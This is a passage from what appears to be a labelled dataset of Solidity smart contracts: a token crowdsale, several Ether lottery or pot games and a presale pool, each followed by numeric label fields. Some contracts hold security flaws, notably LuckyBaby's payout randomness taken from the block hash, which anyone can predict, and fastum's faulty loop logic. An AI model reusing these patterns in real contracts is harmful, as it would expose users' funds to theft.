invest(msg.sender);
}
function finalize() public inState(State.Success) onlyOwner stopInEmergency {
if(finalized) {
throw;
}
if(address(finalizeAgent) != 0) {
finalizeAgent.finalizeCrowdsale();
}
finalized = true;
}
function setFinalizeAgent(FinalizeAgent addr) onlyOwner {
finalizeAgent = addr;
if(!finalizeAgent.isFinalizeAgent()) {
throw;
}
}
function setRequireCustomerId(bool value) onlyOwner {
requireCustomerId = value;
InvestmentPolicyChanged(requireCustomerId, requiredSignedAddress, signerAddress);
}
function setEarlyParticipantWhitelist(address addr, bool status) onlyOwner {
earlyParticipantWhitelist[addr] = status;
Whitelisted(addr, status);
}
function setPricingStrategy(PricingStrategy _pricingStrategy) onlyOwner {
pricingStrategy = _pricingStrategy;
if(!pricingStrategy.isPricingStrategy()) {
throw;
}
}
function loadRefund() public payable inState(State.Failure) {
if(msg.value == 0) throw;
loadedRefund = loadedRefund.add(msg.value);
}
function refund() public inState(State.Refunding) {
uint256 weiValue = investedAmountOf[msg.sender];
if (weiValue == 0) throw;
investedAmountOf[msg.sender] = 0;
weiRefunded = weiRefunded.add(weiValue);
Refund(msg.sender, weiValue);
if (!msg.sender.send(weiValue)) throw;
}
function isMinimumGoalReached() public constant returns (bool reached) {
return weiRaised >= minimumFundingGoal;
}
function isFinalizerSane() public constant returns (bool sane) {
return finalizeAgent.isSane();
}
function isPricingSane() public constant returns (bool sane) {
return pricingStrategy.isSane(address(this));
}
function getState() public constant returns (State) {
if(finalized) return State.Finalized;
else if (address(finalizeAgent) == 0) return State.Preparing;
else if (!finalizeAgent.isSane()) return State.Preparing;
else if (!pricingStrategy.isSane(address(this))) return State.Preparing;
else if (block.timestamp < startsAt) return State.PreFunding;
else if (block.timestamp <= endsAt && !isCrowdsaleFull()) return State.Funding;
else if (isMinimumGoalReached()) return State.Success;
else if (!isMinimumGoalReached() && weiRaised > 0 && loadedRefund >= weiRaised) return State.Refunding;
else return State.Failure;
}
function setOwnerTestValue(uint val) onlyOwner {
ownerTestValue = val;
}
function isCrowdsale() public constant returns (bool) {
return true;
}
modifier inState(State state) {
if(getState() != state) throw;
_;
}
function setEndsAt(uint time) onlyOwner {
if(now > time) {
throw;
}
endsAt = time;
EndsAtChanged(endsAt);
}
function isBreakingCap(uint weiAmount, uint tokenAmount, uint weiRaisedTotal, uint tokensSoldTotal) constant returns (bool limitBroken);
function isCrowdsaleFull() public constant returns (bool);
function assignTokens(address receiver, uint tokenAmount) private;
}
contract TapcoinPricing is PricingStrategy, Ownable {
using SafeMath for uint;
uint public oneTokenWei;
uint public ethUSD = 279;
uint public weiScale = 10**18;
uint public softCapUSD = 419 * 10**3;
Crowdsale public crowdsale;
function TapcoinPricing(uint initialTokenWei) {
oneTokenWei = initialTokenWei;
}
function setCrowdsale(Crowdsale _crowdsale) onlyOwner {
if(!_crowdsale.isCrowdsale()) {
throw;
}
crowdsale = _crowdsale;
}
function setConversionRate(uint _oneTokenWei) onlyOwner {
oneTokenWei = _oneTokenWei;
}
function setEthUSD(uint _ethUSD) onlyOwner {
ethUSD = _ethUSD;
}
function setSoftCapUSD(uint _softCapUSD) onlyOwner {
softCapUSD = _softCapUSD;
}
function getEthUSDPrice() public constant returns(uint) {
return ethUSD;
}
function convertToWei(uint usd) public constant returns(uint) {
return usd.mul(10**18) / ethUSD;
}
function getSoftCapInWeis() public returns (uint) {
return convertToWei(softCapUSD);
}
function calculatePrice(uint value, uint tokensSold, uint weiRaised, address msgSender, uint decimals) public constant returns (uint) {
uint multiplier = 10 ** decimals;
return value.mul(multiplier) / oneTokenWei;
}
}
contract StandardToken is ERC20 {
using SafeMath for uint;
event Minted(address receiver, uint amount);
mapping(address => uint) balances;
mapping (address => mapping (address => uint)) allowed;
function isToken() public constant returns (bool weAre) {
return true;
}
function transfer(address _to, uint _value) returns (bool success) {
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
Transfer(msg.sender, _to, _value);
return true;
}
function transferFrom(address _from, address _to, uint _value) returns (bool success) {
uint _allowance = allowed[_from][msg.sender];
balances[_to] = balances[_to].add(_value);
balances[_from] = balances[_from].sub(_value);
allowed[_from][msg.sender] = _allowance.sub(_value);
Transfer(_from, _to, _value);
return true;
}
function balanceOf(address _owner) constant returns (uint balance) {
return balances[_owner];
}
function approve(address _spender, uint _value) returns (bool success) {
if ((_value != 0) && (allowed[msg.sender][_spender] != 0)) throw;
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
return true;
}
function allowance(address _owner, address _spender) constant returns (uint remaining) {
return allowed[_owner][_spender];
}
function increaseApproval (address _spender, uint _addedValue)
returns (bool success) {
allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue);
Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
function decreaseApproval (address _spender, uint _subtractedValue)
returns (bool success) {
uint oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
}
contract MintableToken is StandardToken, Ownable {
using SafeMath for uint;
bool public mintingFinished = false;
mapping (address => bool) public mintAgents;
event MintingAgentChanged(address addr, bool state );
function mint(address receiver, uint amount) onlyMintAgent canMint public {
if(amount == 0) {
throw;
}
totalSupply = totalSupply.add(amount);
balances[receiver] = balances[receiver].add(amount);
Transfer(0, receiver, amount);
}
function setMintAgent(address addr, bool state) onlyOwner canMint public {
mintAgents[addr] = state;
MintingAgentChanged(addr, state);
}
modifier onlyMintAgent() {
if(!mintAgents[msg.sender]) {
throw;
}
_;
}
modifier canMint() {
if(mintingFinished) throw;
_;
}
}
contract TapcoinCrowdsale is Crowdsale {
using SafeMath for uint;
uint public minimumFundingUSD = 419 * 10**3;
uint public hardCapUSD = 22 * 10**6;
function TapcoinCrowdsale(address _token, PricingStrategy _pricingStrategy, address _multisigWallet, uint _start, uint _end)
Crowdsale(_token, _pricingStrategy, _multisigWallet, _start, _end, 0) {
}
function getMinimumFundingGoal() public constant returns (uint goalInWei) {
return TapcoinPricing(pricingStrategy).convertToWei(minimumFundingUSD);
}
function setMinimumFundingLimit(uint usd) onlyOwner {
minimumFundingUSD = usd;
}
function isMinimumGoalReached() public constant returns (bool reached) {
return weiRaised >= getMinimumFundingGoal();
}
function getHardCap() public constant returns (uint capInWei) {
return TapcoinPricing(pricingStrategy).convertToWei(hardCapUSD);
}
function setHardCapUSD(uint _hardCapUSD) onlyOwner {
hardCapUSD = _hardCapUSD;
}
function isBreakingCap(uint weiAmount, uint tokenAmount, uint weiRaisedTotal, uint tokensSoldTotal) constant returns (bool limitBroken) {
return weiRaisedTotal > getHardCap();
}
function isCrowdsaleFull() public constant returns (bool) {
return weiRaised >= getHardCap();
}
function isSoftCapReached() public constant returns (bool reached) {
return weiRaised >= TapcoinPricing(pricingStrategy).getSoftCapInWeis();
}
function assignTokens(address receiver, uint tokenAmount) private {
MintableToken mintableToken = MintableToken(token);
mintableToken.mint(receiver, tokenAmount);
}
} | 0 | 1,971 |
pragma solidity ^0.4.24;
library SafeMath {
function mul(uint a, uint b) internal pure returns (uint c) {
if (a == 0) {
return 0;
}
c = a * b;
assert(c / a == b);
return c;
}
function div(uint a, uint b) internal pure returns (uint) {
return a / b;
}
function mod(uint a, uint b) internal pure returns (uint) {
return a % b;
}
function sub(uint a, uint b) internal pure returns (uint) {
assert(b <= a);
return a - b;
}
function add(uint a, uint b) internal pure returns (uint c) {
c = a + b;
assert(c >= a);
return c;
}
}
contract Dividends {
using SafeMath for *;
uint private constant FIXED_POINT = 1000000000000000000;
struct Scheme {
uint value;
uint shares;
uint mask;
}
struct Vault {
uint value;
uint shares;
uint mask;
}
mapping (uint => mapping (address => Vault)) private vaultOfAddress;
mapping (uint => Scheme) private schemeOfId;
function buyShares (uint _schemeId, address _owner, uint _shares, uint _value) internal {
require(_owner != address(0));
require(_shares > 0 && _value > 0);
uint value = _value.mul(FIXED_POINT);
Scheme storage scheme = schemeOfId[_schemeId];
scheme.value = scheme.value.add(_value);
scheme.shares = scheme.shares.add(_shares);
require(value > scheme.shares);
uint pps = value.div(scheme.shares);
Vault storage vault = vaultOfAddress[_schemeId][_owner];
vault.shares = vault.shares.add(_shares);
vault.mask = vault.mask.add(scheme.mask.mul(_shares));
vault.value = vault.value.add(value.sub(pps.mul(scheme.shares)));
scheme.mask = scheme.mask.add(pps);
}
function flushVault (uint _schemeId, address _owner) internal {
uint gains = gainsOfVault(_schemeId, _owner);
if (gains > 0) {
Vault storage vault = vaultOfAddress[_schemeId][_owner];
vault.value = vault.value.add(gains);
vault.mask = vault.mask.add(gains);
}
}
function withdrawVault (uint _schemeId, address _owner) internal returns (uint) {
flushVault(_schemeId, _owner);
Vault storage vault = vaultOfAddress[_schemeId][_owner];
uint payout = vault.value.div(FIXED_POINT);
if (payout > 0) {
vault.value = 0;
}
return payout;
}
function creditVault (uint _schemeId, address _owner, uint _value) internal {
Vault storage vault = vaultOfAddress[_schemeId][_owner];
vault.value = vault.value.add(_value.mul(FIXED_POINT));
}
function gainsOfVault (uint _schemeId, address _owner) internal view returns (uint) {
Scheme storage scheme = schemeOfId[_schemeId];
Vault storage vault = vaultOfAddress[_schemeId][_owner];
if (vault.shares == 0) {
return 0;
}
return scheme.mask.mul(vault.shares).sub(vault.mask);
}
function valueOfVault (uint _schemeId, address _owner) internal view returns (uint) {
Vault storage vault = vaultOfAddress[_schemeId][_owner];
return vault.value;
}
function balanceOfVault (uint _schemeId, address _owner) internal view returns (uint) {
Vault storage vault = vaultOfAddress[_schemeId][_owner];
uint total = vault.value.add(gainsOfVault(_schemeId, _owner));
uint balance = total.div(FIXED_POINT);
return balance;
}
function sharesOfVault (uint _schemeId, address _owner) internal view returns (uint) {
Vault storage vault = vaultOfAddress[_schemeId][_owner];
return vault.shares;
}
function valueOfScheme (uint _schemeId) internal view returns (uint) {
return schemeOfId[_schemeId].value;
}
function sharesOfScheme (uint _schemeId) internal view returns (uint) {
return schemeOfId[_schemeId].shares;
}
}
library Utils {
using SafeMath for uint;
uint private constant LAST_COUNTRY = 195;
function regularTicketPrice () internal pure returns (uint) {
return 100000000000000;
}
function goldenTicketPrice (uint _x) internal pure returns (uint) {
uint price = _x.mul(_x).div(2168819140000000000000000).add(100000000000000).add(_x.div(100000));
return price < regularTicketPrice() ? regularTicketPrice() : price;
}
function ticketsForWithExcess (uint _value) internal pure returns (uint, uint) {
uint tickets = _value.div(regularTicketPrice());
uint excess = _value.sub(tickets.mul(regularTicketPrice()));
return (tickets, excess);
}
function percentageOf (uint _value, uint _p) internal pure returns (uint) {
return _value.mul(_p).div(100);
}
function validReferralCode (string _code) internal pure returns (bool) {
bytes memory b = bytes(_code);
if (b.length < 3) {
return false;
}
for (uint i = 0; i < b.length; i++) {
bytes1 c = b[i];
if (
!(c >= 0x30 && c <= 0x39) &&
!(c >= 0x41 && c <= 0x5A) &&
!(c >= 0x61 && c <= 0x7A) &&
!(c == 0x2D)
) {
return false;
}
}
return true;
}
function validNick (string _nick) internal pure returns (bool) {
return bytes(_nick).length > 3;
}
function validCountryId (uint _countryId) internal pure returns (bool) {
return _countryId > 0 && _countryId <= LAST_COUNTRY;
}
}
contract Events {
event Started (
uint _time
);
event Bought (
address indexed _player,
address indexed _referral,
uint _countryId,
uint _tickets,
uint _value,
uint _excess
);
event Promoted (
address indexed _player,
uint _goldenTickets,
uint _endTime
);
event Withdrew (
address indexed _player,
uint _amount
);
event Registered (
string _code, address indexed _referral
);
event Won (
address indexed _winner, uint _pot
);
}
contract Constants {
uint internal constant MAIN_SCHEME = 1337;
uint internal constant DEFAULT_COUNTRY = 1;
uint internal constant SET_NICK_FEE = 0.01 ether;
uint internal constant REFERRAL_REGISTRATION_FEE = 0.1 ether;
uint internal constant TO_DIVIDENDS = 40;
uint internal constant TO_REFERRAL = 10;
uint internal constant TO_DEVELOPERS = 8;
uint internal constant TO_COUNTRY = 12;
}
contract State is Constants {
address internal addressOfOwner;
uint internal maxTime = 0;
uint internal addedTime = 0;
uint internal totalPot = 0;
uint internal startTime = 0;
uint internal endTime = 0;
bool internal potWithdrawn = false;
address internal addressOfCaptain;
struct Info {
address referral;
uint countryId;
uint withdrawn;
string nick;
}
mapping (address => Info) internal infoOfAddress;
mapping (address => string[]) internal codesOfAddress;
mapping (string => address) internal addressOfCode;
modifier restricted () {
require(msg.sender == addressOfOwner);
_;
}
modifier active () {
require(startTime > 0);
require(block.timestamp < endTime);
require(!potWithdrawn);
_;
}
modifier player () {
require(infoOfAddress[msg.sender].countryId > 0);
_;
}
}
contract Core is Events, State, Dividends {}
contract ExternalView is Core {
function totalInfo () external view returns (bool, bool, address, uint, uint, uint, uint, uint, uint, address) {
return (
startTime > 0,
block.timestamp >= endTime,
addressOfCaptain,
totalPot,
endTime,
sharesOfScheme(MAIN_SCHEME),
valueOfScheme(MAIN_SCHEME),
maxTime,
addedTime,
addressOfOwner
);
}
function countryInfo (uint _countryId) external view returns (uint, uint) {
return (
sharesOfScheme(_countryId),
valueOfScheme(_countryId)
);
}
function playerInfo (address _player) external view returns (uint, uint, uint, address, uint, uint, string) {
Info storage info = infoOfAddress[_player];
return (
sharesOfVault(MAIN_SCHEME, _player),
balanceOfVault(MAIN_SCHEME, _player),
balanceOfVault(info.countryId, _player),
info.referral,
info.countryId,
info.withdrawn,
info.nick
);
}
function numberOfReferralCodes (address _player) external view returns (uint) {
return codesOfAddress[_player].length;
}
function referralCodeAt (address _player, uint i) external view returns (string) {
return codesOfAddress[_player][i];
}
function codeToAddress (string _code) external view returns (address) {
return addressOfCode[_code];
}
function goldenTicketPrice (uint _x) external pure returns (uint) {
return Utils.goldenTicketPrice(_x);
}
}
contract Internal is Core {
function _registerReferral (string _code, address _referral) internal {
require(Utils.validReferralCode(_code));
require(addressOfCode[_code] == address(0));
addressOfCode[_code] = _referral;
codesOfAddress[_referral].push(_code);
emit Registered(_code, _referral);
}
}
contract WinnerWinner is Core, Internal, ExternalView {
using SafeMath for *;
constructor () public {
addressOfOwner = msg.sender;
}
function () public payable {
buy(addressOfOwner, DEFAULT_COUNTRY);
}
function start (uint _maxTime, uint _addedTime) public restricted {
require(startTime == 0);
require(_maxTime > 0 && _addedTime > 0);
require(_maxTime > _addedTime);
maxTime = _maxTime;
addedTime = _addedTime;
startTime = block.timestamp;
endTime = startTime + maxTime;
addressOfCaptain = addressOfOwner;
_registerReferral("owner", addressOfOwner);
emit Started(startTime);
}
function buy (address _referral, uint _countryId) public payable active {
require(msg.value >= Utils.regularTicketPrice());
require(msg.value <= 100000 ether);
require(codesOfAddress[_referral].length > 0);
require(_countryId != MAIN_SCHEME);
require(Utils.validCountryId(_countryId));
(uint tickets, uint excess) = Utils.ticketsForWithExcess(msg.value);
uint value = msg.value.sub(excess);
require(tickets > 0);
require(value.add(excess) == msg.value);
Info storage info = infoOfAddress[msg.sender];
if (info.countryId == 0) {
info.referral = _referral;
info.countryId = _countryId;
}
uint vdivs = Utils.percentageOf(value, TO_DIVIDENDS);
uint vreferral = Utils.percentageOf(value, TO_REFERRAL);
uint vdevs = Utils.percentageOf(value, TO_DEVELOPERS);
uint vcountry = Utils.percentageOf(value, TO_COUNTRY);
uint vpot = value.sub(vdivs).sub(vreferral).sub(vdevs).sub(vcountry);
assert(vdivs.add(vreferral).add(vdevs).add(vcountry).add(vpot) == value);
buyShares(MAIN_SCHEME, msg.sender, tickets, vdivs);
buyShares(info.countryId, msg.sender, tickets, vcountry);
creditVault(MAIN_SCHEME, info.referral, vreferral);
creditVault(MAIN_SCHEME, addressOfOwner, vdevs);
if (excess > 0) {
creditVault(MAIN_SCHEME, msg.sender, excess);
}
uint goldenTickets = value.div(Utils.goldenTicketPrice(totalPot));
if (goldenTickets > 0) {
endTime = endTime.add(goldenTickets.mul(addedTime)) > block.timestamp.add(maxTime) ?
block.timestamp.add(maxTime) : endTime.add(goldenTickets.mul(addedTime));
addressOfCaptain = msg.sender;
emit Promoted(addressOfCaptain, goldenTickets, endTime);
}
totalPot = totalPot.add(vpot);
emit Bought(msg.sender, info.referral, info.countryId, tickets, value, excess);
}
function setNick (string _nick) public payable {
require(msg.value == SET_NICK_FEE);
require(Utils.validNick(_nick));
infoOfAddress[msg.sender].nick = _nick;
creditVault(MAIN_SCHEME, addressOfOwner, msg.value);
}
function registerCode (string _code) public payable {
require(msg.value == REFERRAL_REGISTRATION_FEE);
_registerReferral(_code, msg.sender);
creditVault(MAIN_SCHEME, addressOfOwner, msg.value);
}
function giftCode (string _code, address _referral) public restricted {
_registerReferral(_code, _referral);
}
function withdraw () public {
Info storage info = infoOfAddress[msg.sender];
uint payout = withdrawVault(MAIN_SCHEME, msg.sender);
if (Utils.validCountryId(info.countryId)) {
payout = payout.add(withdrawVault(info.countryId, msg.sender));
}
if (payout > 0) {
info.withdrawn = info.withdrawn.add(payout);
msg.sender.transfer(payout);
emit Withdrew(msg.sender, payout);
}
}
function withdrawPot () public player {
require(startTime > 0);
require(block.timestamp > (endTime + 10 minutes));
require(!potWithdrawn);
require(totalPot > 0);
require(addressOfCaptain == msg.sender);
uint payout = totalPot;
totalPot = 0;
potWithdrawn = true;
addressOfCaptain.transfer(payout);
emit Won(msg.sender, payout);
}
} | 0 | 1,064 |
pragma solidity ^0.4.21;
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
function Ownable() public {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function transferOwnership(address newOwner) public onlyOwner {
require(newOwner != address(0));
emit OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
contract ERC20 {
function balanceOf(address who) public view returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
}
contract SafeMath {
function safeAdd(uint256 x, uint256 y) internal pure returns(uint256) {
uint256 z = x + y;
assert((z >= x) && (z >= y));
return z;
}
function safeSubtract(uint256 x, uint256 y) internal pure returns(uint256) {
assert(x >= y);
uint256 z = x - y;
return z;
}
function safeMult(uint256 x, uint256 y) internal pure returns(uint256) {
uint256 z = x * y;
assert((x == 0)||(z/x == y));
return z;
}
function safeDiv(uint256 x, uint256 y) internal pure returns (uint256) {
uint256 z = x / y;
return z;
}
}
contract LuckyBaby is Ownable, SafeMath {
ERC20 public token;
bool public activityClosed = false;
uint public maxGasPrice = 30000000000;
struct LuckyItem {
address luckyMan;
uint amount;
}
LuckyItem[] public history;
uint public tokenRewardRate;
uint public minTicket;
uint public maxTicket;
function () payable public {
if (msg.sender == owner) {
return;
}
require(!activityClosed);
require(tx.gasprice <= maxGasPrice);
require(msg.value >= minTicket);
require(msg.value <= maxTicket);
award(msg.value, msg.sender);
}
function award (uint amount, address add) private {
uint random_number = (uint(block.blockhash(block.number-1)) - uint(add)) % 100;
if (random_number == 0) {
uint reward = safeMult(amount, 100);
require(address(this).balance >= reward);
add.transfer(reward);
LuckyItem memory item = LuckyItem({luckyMan:add, amount:reward});
history.push(item);
}
if (token.balanceOf(this) >= tokenRewardRate) {
token.transfer(add, tokenRewardRate);
}
}
function LuckyBaby() public {
token = ERC20(address(0x00));
tokenRewardRate = 20*10**18;
minTicket = 10**16;
maxTicket = 10**17;
}
function setToken(ERC20 newToken) onlyOwner public {
token = newToken;
}
function setMaxGasPrice(uint max) onlyOwner public {
maxGasPrice = max;
}
function setActivityState(bool close) onlyOwner public {
activityClosed = close;
}
function setTokenRewardRate(uint rate) onlyOwner public {
tokenRewardRate = rate;
}
function setMaxTicket(uint max) onlyOwner public {
maxTicket = max;
}
function withdrawToken(uint amount) onlyOwner public {
uint256 leave = token.balanceOf(this);
if (leave >= amount) {
token.transfer(owner, amount);
}
}
function withdrawEther(uint amount) onlyOwner public {
owner.transfer(amount);
}
function clear() onlyOwner public {
uint leave = token.balanceOf(this);
if (leave > 0) {
token.transfer(owner, leave);
}
uint balance = address(this).balance;
if (balance > 0) {
owner.transfer(balance);
}
}
} | 1 | 4,284 |
pragma solidity ^0.4.24;
contract fastum{
uint public start = 6704620;
address constant private PROMO = 0x9c89290daC9EcBBa5efEd422308879Df9B123eBf;
modifier saleIsOn() {
require(block.number > start);
_;
}
uint public currentReceiverIndex = 0;
uint public MIN_DEPOSIT = 0.03 ether;
uint private PROMO_PERCENT = 45;
address public investorWithMaxCountOfTransaction;
LastDeposit public last;
constructor() public payable{}
struct Deposit {
address depositor;
uint128 deposit;
}
struct LastDeposit {
address depositor;
uint blockNumber;
}
Deposit[] public queue;
function () saleIsOn private payable {
if(msg.value == 0 && msg.sender == last.depositor) {
require(gasleft() >= 220000, "We require more gas!");
require(last.blockNumber + 45 < block.number, "Last depositor should wait 45 blocks (~9-11 minutes) to claim reward");
uint128 money = uint128((address(this).balance));
last.depositor.transfer((money*85)/100);
for(uint i=0; i<queue.length; i++){
uint c;
uint max;
c = getDepositsCount(queue[i].depositor);
if(max < c){
max = c;
investorWithMaxCountOfTransaction = queue[i].depositor;
}
}
investorWithMaxCountOfTransaction.transfer(money*15/100);
delete last;
}
else if(msg.value > 0 && msg.sender != PROMO){
require(gasleft() >= 220000, "We require more gas!");
require(msg.value >= MIN_DEPOSIT);
queue.push(Deposit(msg.sender, uint128(msg.value)));
last.depositor = msg.sender;
last.blockNumber = block.number;
uint promo = msg.value*PROMO_PERCENT/100;
PROMO.transfer(promo);
}
}
function getDeposit(uint idx) public view returns (address depositor, uint deposit){
Deposit storage dep = queue[idx];
return (dep.depositor, dep.deposit);
}
function getDepositsCount(address depositor) public view returns (uint) {
uint c = 0;
for(uint i=currentReceiverIndex; i<queue.length; ++i){
if(queue[i].depositor == depositor)
c++;
}
return c;
}
} | 0 | 818 |
pragma solidity ^0.4.19;
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
contract ERC20 {
function balanceOf(address _owner) constant returns (uint256 balance) {}
function transfer(address _to, uint256 _value) returns (bool success) {}
}
contract WhiteList {
function checkMemberLevel (address addr) view public returns (uint) {}
}
contract PresalePool {
using SafeMath for uint;
uint8 public contractStage = 1;
address public owner;
uint[] public contributionCaps;
uint public feePct;
address public receiverAddress;
uint constant public contributionMin = 100000000000000000;
uint constant public maxGasPrice = 50000000000;
WhiteList constant public whitelistContract = WhiteList(0x8D95B038cA80A986425FA240C3C17Fb2B6e9bc63);
uint public nextCapTime;
uint [] public nextContributionCaps;
uint public addressChangeBlock;
uint public finalBalance;
uint[] public ethRefundAmount;
address public activeToken;
struct Contributor {
bool authorized;
uint ethRefund;
uint balance;
uint cap;
mapping (address => uint) tokensClaimed;
}
mapping (address => Contributor) whitelist;
struct TokenAllocation {
ERC20 token;
uint[] pct;
uint balanceRemaining;
}
mapping (address => TokenAllocation) distributionMap;
modifier onlyOwner () {
require (msg.sender == owner);
_;
}
bool locked;
modifier noReentrancy() {
require(!locked);
locked = true;
_;
locked = false;
}
event ContributorBalanceChanged (address contributor, uint totalBalance);
event ReceiverAddressSet ( address _addr);
event PoolSubmitted (address receiver, uint amount);
event WithdrawalsOpen (address tokenAddr);
event TokensWithdrawn (address receiver, address token, uint amount);
event EthRefundReceived (address sender, uint amount);
event EthRefunded (address receiver, uint amount);
event ERC223Received (address token, uint value);
function _toPct (uint numerator, uint denominator ) internal pure returns (uint) {
return numerator.mul(10 ** 20) / denominator;
}
function _applyPct (uint numerator, uint pct) internal pure returns (uint) {
return numerator.mul(pct) / (10 ** 20);
}
function PresalePool(address receiverAddr, uint[] capAmounts, uint fee) public {
require (fee < 100);
require (capAmounts.length>1 && capAmounts.length<256);
for (uint8 i=1; i<capAmounts.length; i++) {
require (capAmounts[i] <= capAmounts[0]);
}
owner = msg.sender;
receiverAddress = receiverAddr;
contributionCaps = capAmounts;
feePct = _toPct(fee,100);
whitelist[msg.sender].authorized = true;
}
function () payable public {
if (contractStage == 1) {
_ethDeposit();
} else if (contractStage == 3) {
_ethRefund();
} else revert();
}
function _ethDeposit () internal {
assert (contractStage == 1);
require (tx.gasprice <= maxGasPrice);
require (this.balance <= contributionCaps[0]);
var c = whitelist[msg.sender];
uint newBalance = c.balance.add(msg.value);
require (newBalance >= contributionMin);
require (newBalance <= _checkCap(msg.sender));
c.balance = newBalance;
ContributorBalanceChanged(msg.sender, newBalance);
}
function _ethRefund () internal {
assert (contractStage == 3);
require (msg.sender == owner || msg.sender == receiverAddress);
require (msg.value >= contributionMin);
ethRefundAmount.push(msg.value);
EthRefundReceived(msg.sender, msg.value);
}
function withdraw (address tokenAddr) public {
var c = whitelist[msg.sender];
require (c.balance > 0);
if (contractStage < 3) {
uint amountToTransfer = c.balance;
c.balance = 0;
msg.sender.transfer(amountToTransfer);
ContributorBalanceChanged(msg.sender, 0);
} else {
_withdraw(msg.sender,tokenAddr);
}
}
function withdrawFor (address contributor, address tokenAddr) public onlyOwner {
require (contractStage == 3);
require (whitelist[contributor].balance > 0);
_withdraw(contributor,tokenAddr);
}
function _withdraw (address receiver, address tokenAddr) internal {
assert (contractStage == 3);
var c = whitelist[receiver];
if (tokenAddr == 0x00) {
tokenAddr = activeToken;
}
var d = distributionMap[tokenAddr];
require ( (ethRefundAmount.length > c.ethRefund) || d.pct.length > c.tokensClaimed[tokenAddr] );
if (ethRefundAmount.length > c.ethRefund) {
uint pct = _toPct(c.balance,finalBalance);
uint ethAmount = 0;
for (uint i=c.ethRefund; i<ethRefundAmount.length; i++) {
ethAmount = ethAmount.add(_applyPct(ethRefundAmount[i],pct));
}
c.ethRefund = ethRefundAmount.length;
if (ethAmount > 0) {
receiver.transfer(ethAmount);
EthRefunded(receiver,ethAmount);
}
}
if (d.pct.length > c.tokensClaimed[tokenAddr]) {
uint tokenAmount = 0;
for (i=c.tokensClaimed[tokenAddr]; i<d.pct.length; i++) {
tokenAmount = tokenAmount.add(_applyPct(c.balance,d.pct[i]));
}
c.tokensClaimed[tokenAddr] = d.pct.length;
if (tokenAmount > 0) {
require(d.token.transfer(receiver,tokenAmount));
d.balanceRemaining = d.balanceRemaining.sub(tokenAmount);
TokensWithdrawn(receiver,tokenAddr,tokenAmount);
}
}
}
function authorize (address addr, uint cap) public onlyOwner {
require (contractStage == 1);
_checkWhitelistContract(addr);
require (!whitelist[addr].authorized);
require ((cap > 0 && cap < contributionCaps.length) || (cap >= contributionMin && cap <= contributionCaps[0]) );
uint size;
assembly { size := extcodesize(addr) }
require (size == 0);
whitelist[addr].cap = cap;
whitelist[addr].authorized = true;
}
function authorizeMany (address[] addr, uint cap) public onlyOwner {
require (addr.length < 255);
require (cap > 0 && cap < contributionCaps.length);
for (uint8 i=0; i<addr.length; i++) {
authorize(addr[i], cap);
}
}
function revoke (address addr) public onlyOwner {
require (contractStage < 3);
require (whitelist[addr].authorized);
require (whitelistContract.checkMemberLevel(addr) == 0);
whitelist[addr].authorized = false;
if (whitelist[addr].balance > 0) {
uint amountToTransfer = whitelist[addr].balance;
whitelist[addr].balance = 0;
addr.transfer(amountToTransfer);
ContributorBalanceChanged(addr, 0);
}
}
function modifyIndividualCap (address addr, uint cap) public onlyOwner {
require (contractStage < 3);
require (cap < contributionCaps.length || (cap >= contributionMin && cap <= contributionCaps[0]) );
_checkWhitelistContract(addr);
var c = whitelist[addr];
require (c.authorized);
uint amount = c.balance;
c.cap = cap;
uint capAmount = _checkCap(addr);
if (amount > capAmount) {
c.balance = capAmount;
addr.transfer(amount.sub(capAmount));
ContributorBalanceChanged(addr, capAmount);
}
}
function modifyLevelCap (uint level, uint cap) public onlyOwner {
require (contractStage < 3);
require (level > 0 && level < contributionCaps.length);
require (this.balance <= cap && contributionCaps[0] >= cap);
contributionCaps[level] = cap;
nextCapTime = 0;
}
function modifyAllLevelCaps (uint[] cap, uint time) public onlyOwner {
require (contractStage < 3);
require (cap.length == contributionCaps.length-1);
require (time == 0 || time>block.timestamp);
if (time == 0) {
for (uint8 i = 0; i < cap.length; i++) {
modifyLevelCap(i+1, cap[i]);
}
} else {
nextContributionCaps = contributionCaps;
nextCapTime = time;
for (i = 0; i < cap.length; i++) {
require (contributionCaps[i+1] <= cap[i] && contributionCaps[0] >= cap[i]);
nextContributionCaps[i+1] = cap[i];
}
}
}
function modifyMaxContractBalance (uint amount) public onlyOwner {
require (contractStage < 3);
require (amount >= contributionMin);
require (amount >= this.balance);
contributionCaps[0] = amount;
nextCapTime = 0;
for (uint8 i=1; i<contributionCaps.length; i++) {
if (contributionCaps[i]>amount) contributionCaps[i]=amount;
}
}
function _checkCap (address addr) internal returns (uint) {
_checkWhitelistContract(addr);
var c = whitelist[addr];
if (!c.authorized) return 0;
if (nextCapTime>0 && block.timestamp>nextCapTime) {
contributionCaps = nextContributionCaps;
nextCapTime = 0;
}
if (c.cap<contributionCaps.length) return contributionCaps[c.cap];
return c.cap;
}
function _checkWhitelistContract (address addr) internal {
var c = whitelist[addr];
if (!c.authorized) {
var level = whitelistContract.checkMemberLevel(addr);
if (level == 0 || level >= contributionCaps.length) return;
c.cap = level;
c.authorized = true;
}
}
function checkPoolBalance () view public returns (uint poolCap, uint balance, uint remaining) {
if (contractStage == 1) {
remaining = contributionCaps[0].sub(this.balance);
} else {
remaining = 0;
}
return (contributionCaps[0],this.balance,remaining);
}
function checkContributorBalance (address addr) view public returns (uint balance, uint cap, uint remaining) {
var c = whitelist[addr];
if (!c.authorized) {
cap = whitelistContract.checkMemberLevel(addr);
if (cap == 0) return (0,0,0);
} else {
cap = c.cap;
}
balance = c.balance;
